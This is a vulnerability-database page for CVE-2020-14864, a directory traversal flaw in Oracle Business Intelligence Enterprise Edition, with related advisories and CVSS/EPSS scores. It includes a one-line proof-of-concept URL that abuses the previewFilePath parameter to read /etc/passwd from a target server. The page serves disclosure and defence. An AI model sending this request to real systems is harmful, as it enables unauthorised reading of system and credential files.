Vulners
Lucene search
Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
 | CVE-2020-14864 | 21 Oct 202000:00 | – | attackerkb |
 | CVE-2020-14864 | 14 Jun 202321:10 | – | circl |
 | Oracle Business Intelligence Enterprise Edition Path Transversal | 18 Jan 202200:00 | – | cisa_kev |
 | CISA Adds 13 Known Exploited Vulnerabilities to Catalog | 18 Jan 202200:00 | – | cisa |
 | Unspecified Vulnerability in Oracle Business Intelligence Enterprise Edition (CNVD-2020-59236) | 23 Oct 202000:00 | – | cnvd |
 | Oracle Business Intelligence Enterprise Edition Information Disclosure (CVE-2020-14864) | 2 Feb 202200:00 | – | checkpoint_advisories |
 | CVE-2020-14864 | 21 Oct 202014:04 | – | cve |
 | CVE-2020-14864 | 21 Oct 202014:04 | – | cvelist |
 | Vulnerabilities fixed in Oracle Fusion Middleware | 22 Oct 202000:00 | – | ncsc |
 | Oracle Fusion - Directory Traversal/Local File Inclusion | 2 Jun 202610:14 | – | nuclei |
10
# Exploit Title: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion
# Date: 2020-10-27
# Exploit Author: Ivo Palazzolo (@palaziv)
# Reference: https://www.oracle.com/security-alerts/cpuoct2020.html
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/middleware/technologies/bi-enterprise-edition-downloads.html
# Version: 5.5.0.0.0, 12.2.1.3.0, 12.2.1.4.0
# Tested on: SUSE Linux Enterprise Server
# CVE: CVE-2020-14864
# Description
A Directory Traversal vulnerability has been discovered in the 'getPreviewImage' function of Oracle Business Intelligence Enterprise Edition. The 'getPreviewImage' function is used to get a preview image of a previously uploaded theme logo. By manipulating the 'previewFilePath' URL parameter an attacker with access to the administration interface is able to read arbitrary system files.
# PoC
https://TARGET/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwdData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Oct 2020 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 27.8
CVSS 3.17.5
EPSS0.94019
SSVC